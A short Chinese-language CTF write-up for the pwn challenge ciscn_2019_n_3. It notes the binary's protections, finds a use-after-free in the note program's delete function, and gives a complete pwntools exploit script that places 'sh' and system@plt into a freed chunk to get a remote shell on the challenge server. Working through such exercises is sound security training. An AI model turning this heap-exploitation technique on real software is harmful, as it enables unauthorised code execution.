image.png
    可以看到只部分的relro,有canary,也就是说got表可以改
    image.png
    函数的主要逻辑,菜单题
    主要程序分析就是records数组里存放着堆的地址,然后申请的堆块里是一些控制信息
    程序的漏洞是在free这个函数
    image.png
    只是free了堆块没有清除指针
    一个uaf漏洞,函数中有了system,所以就不用泄露libc地址来着

    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level = 'debug'
    4. context.arch = 'amd64'
    5. #io =process('./ciscn_2019_n_3')
    6. io = remote("node4.buuoj.cn",28432)
    7. elf = ELF('./ciscn_2019_n_3')
    8. libc = ELF('libc-2.23.so')
    9. #gdb.attach(io)
    10. system_plt = elf.sym['system']
    11. system_got = elf.got['system']
    12. puts_plt = elf.plt['puts']
    13. def creat(index,style,size,value):
    14. io.recvuntil('CNote > ')
    15. io.sendline('1')
    16. io.recvuntil('Index > ')
    17. io.sendline(str(index))
    18. io.recvuntil('Type > ') ###可以用if写条件但是呢没有必要
    19. io.sendline(str(style))
    20. io.recvuntil('Length > ')
    21. io.sendline(str(size))
    22. io.recvuntil('Value > ')
    23. io.sendline(value)
    24. def free(id):
    25. io.recvuntil('CNote > ')
    26. io.sendline('2')
    27. io.recvuntil('Index > ')
    28. io.sendline(str(id))
    29. def show(i):
    30. io.recvuntil('CNote > ')
    31. io.sendline('3')
    32. io.recvuntil('Index > ')
    33. io.sendline(str(i))
    34. creat(1,2,0x10,'aaaa')
    35. creat(2,2,0x10,'bbbb')
    36. creat(3,2,0x10,'cccc')
    37. #pause()
    38. free(1)
    39. free(2)
    40. creat(4,2,0xc,b'sh\x00\x00'+p32(system_plt))
    41. #pause()
    42. free(1)
    43. io.interactive()